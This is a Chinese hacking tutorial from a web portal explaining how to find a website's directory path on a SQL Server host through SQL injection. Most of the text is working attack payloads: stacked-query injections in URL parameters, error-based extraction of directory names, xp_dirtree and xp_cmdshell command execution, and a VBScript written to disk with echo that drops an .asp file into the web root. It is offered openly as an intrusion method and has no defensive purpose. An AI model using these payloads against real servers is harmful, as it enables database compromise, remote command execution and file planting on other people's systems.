| 域名空间 下载中心 社区论坛 信息公告 my小屋 |
![]() |
联系我们 设为首页 加入收藏 |
|
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿 论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图 专题 | 应用软件 | 聊天通讯 | q q 专栏 | 建站经验 | 在线工具 | 站长club | 注 册 表 | 旧版 社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 网络赚钱 | 网站地图 | 广告服务 | 服务 |
| 新版上线![旧版] | |||||
注:打开慢时请稍等
|
其中用的方法几乎都不是我发现的,文总包括一些注入时的个人经验和技巧 方法可以说有4种(现在已知的) 第一种方法: 这个是<<怪异的sql注入>>中介绍的方法 利用sqlserver的xp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了点补充) 建立表 语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))-- 返回:正常的信息!说明建表成功!继续! (建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用 语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:\' -- 返回:正常信息。说明写入c盘的所有目录成功了!爽!接下来就是取表了!暴它出来。(好像只有暴这种方法了) 语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)- 返回:microsoft ole db provider for sql server 错误 80040e07 将 varchar 值 '@inetpub'转换为数据类型为 int 的列时发生语法错误。 再依次爆出表中的目录名称! 语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in( '@inetpub'))-- 返回:microsoft ole db provider for sql server 错误 80040e07 将 varchar 值 'test'转换为数据类型为 int 的列时发生语法错误。 再依次爆出表中的目录名称! 好我们继续 语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in( '@inetpub','test'))-- 返回:microsoft ole db provider for sql server 错误 80040e07 将 varchar 值 'haha'转换为数据类型为 int 的列时发生语法错误。 再依次爆出表中的目录名称! 好了,你应该知道怎么做了吧,哈哈,就是把得到的表名添到那个括号里,有多少就放多少吧, 一点技巧: 有时候你会发现当输入类似 http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)- 时不是显示出错,而是网页显示正常 晕了吧,别紧张哈 看看0<>(select top 1 paths from dirs) 说明返回是一个数字, 哈哈,测试一下看看是多少吧 100>(select top 1 paths from dirs) 返回正常 哈哈,用这种大于小于的方法很快就能猜出了 好我们继续 比如当出现 59=(select top 1 paths from dirs) 返回正常, ok,说明名字是59 输入如下 http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in( '59'))-- 记得带上引号哟 下面的方法就和原来的一样的了 还有一个问题就是 有时候用上面的方法输入59时,发现下一次的文件夹还是59 这个是怎么回事情呢? 呵呵,不知道你有没有注意过059和59是一样的? 就是这个原因了,哈哈, http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in( '059'))-- 发现显示下一个文件夹名字了,ok 优缺点分析: 优点就是所有的sqlserver用户都可以使用,因为xp_dirtree适用权限public, 缺点是显示的是目录下的所有文件夹的名字,而且排列好像是没有什么顺序的,总之在好几千好几万个文件夹里找你想要的文件夹是痛苦的. 而且你知道了有那个文件夹也不能保证在根目录下,实在是痛苦的一件事情呀,很多时候是靠运气和耐力. 祝你成功 方法二: 利用xp_cmdshell 哈哈,这个大家一定很熟悉了吧,我就简单说一下 建立表 语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))-- 返回:正常的信息!说明建表成功!继续! (建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用 语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell 'dir c:\ /b/d' -- 返回:正常信息。说明写入c盘的所有目录成功了!这里用了dir c:\ /b/d,哈哈,不知道/b/d什么作用就试验试验看 语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)- 返回:microsoft ole db provider for sql server 错误 80040e07 将 varchar 值 '@inetpub'转换为数据类型为 int 的列时发生语法错误。 再依次爆出表中的目录名称! 语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in( '@inetpub'))-- 返回:microsoft ole db provider for sql server 错误 80040e07 将 varchar 值 'test'转换为数据类型为 int 的列时发生语法错误。 再依次爆出表中的目录名称! 方法同上,就不说了 有时候我们也可以用下面的两个扩展来干些事情 1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入dirs表中: 5 ;insert dirs exec master.dbo.xp_availablemedia;-- 我们可以通过查询temp的内容来获得驱动器列表及相关信息 (2)我们可以利用xp_subdirs获得子目录列表,并存入dirs表中: 5 ;insert into dirs exec master.dbo.xp_subdirs 'c:\' ;-- 优缺点分析: 很明显了,这样就不会出现xp_dirtree那种所有目录都放在一起的情况了,只会显示一级目录,找起来方便多了. 缺点也很明显,只有sa有这个权限,也有可能管理员删除了这个扩展(毕竟太强大了). 方法三: 这种方法很好 下面这个是原文 想到了使用adsutil.vbs程序,我是这样执行的 a‘;exec master..xp_cmdshell ‘cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt‘;-- 是不是很长啦通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯) 导入到a.txt中 对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题,不过遇到管理员把adsutil.vbs 删了或是放到别 的地方我们就没办法了(不可能自已用echo 命令写一个吧) 第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧 .....xp_cmdshell ‘echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs‘;-- .....xp_cmdshell ‘echo set wshshell = wscript.createobject("wscript.shell")>>c:\read.vbs‘ ;-- ..... -------------------read.vbs--------------------------------- set fso1=createobject("scripting.filesystemobject") set wshshell = wscript.createobject("wscript.shell") spa=wshshell.environment("process")("windir") set fil =fso1.opentextfile(spa & "\system32\aa.txt") do while not fil.atendofstream nr=fil.readline if left(nr,4)="path" then pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3) exit do end if loop set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true) fil1.writeline "" ---------------cut here------------------------------------- 第三步:当然就是执行read.vbs三,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径 然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯 执行http://x.x.x.x/dd.asp 返回:\xxx 哈哈,的确是好方法, 不过原文好像有点问题 就是 set fil =fso1.opentextfile(spa %2b "\system32\aa.txt") set fil1 =fso1.opentextfile(pa%2b"\dd.asp",2,true) 两句提交时会出错 于是我们想到了加号,和&的功能相同 还有就是写点什么东西到dd.asp呢?写入pa,哈哈 哈哈,改成了 -------------------read.vbs--------------------------------- set fso1=createobject("scripting.filesystemobject") set wshshell = wscript.createobject("wscript.shell") spa=wshshell.environment("process")("windir") set fil =fso1.opentextfile(spa + "\system32\aa.txt") do while not fil.atendofstream nr=fil.readline if left(nr,4)="path" then pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3) exit do end if loop set fil1 =fso1.opentextfile(pa + "\dd.asp",2,true) fil1.writeline pa ---------------cut here-------------------------------------- 因为用浏览器提交时+号被转换成了空格,所以在提交的时候还应该把 +变成%2b,好了,应该可以了,如下 -------------------read.vbs--------------------------------- set fso1=createobject("scripting.filesystemobject") set wshshell = wscript.createobject("wscript.shell") spa=wshshell.environment("process")("windir") set fil =fso1.opentextfile(spa %2b "\system32\aa.txt") do while not fil.atendofstream nr=fil.readline if left(nr,4)="path" then pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3) exit do end if loop set fil1 =fso1.opentextfile(pa %2b "\dd.asp",2,true) fil1.writeline pa ---------------cut here-------------------------------------- 如果发现1没有的话,我们可以该成2,3,4........... a‘;exec master..xp_cmdshell ‘cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt‘;-- 但是这种方法只能在windows2000下使用,因为2003下新建的网站所在地址不是按照1234来排列的,好像是随机生成的,个人比较过几个2003下的 地址,没有发现什么规律. 优缺点分析 同上xp_cmdshell不是每一个用户都可以用的!还有一个问题是adsutil文件不一定存在,或者不一定在那个路径上,当然如果你原意的话你可以用 echo写一个(哈哈,老多老多行的哟),另外的一个问题是,如果主机上有很多站点怎么办?我遇到过一个有九个站点的主机,胆识只有第8个是有用的,晕了吧,很难有人有嗯那个耐性会坚持到那么多的,早就崩溃了或许.还有就是不能在2003下用! 不过说实话,这个方法的确是一个好方法 编辑:黑鹰 [发送给好友] [打印本页] [关闭窗口] [返回顶部] 上一篇:软件狗[dongles]的加密与解密技术(8) 下一篇:sqlserver取得网站路径的几种方法以及比较(2) 转载请注明来源:www.iyit.net 特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。 |
| 最新更新 | 热点排行 | 推荐新闻 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 友情链接 | ||||||
| 设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接 |
| |||||||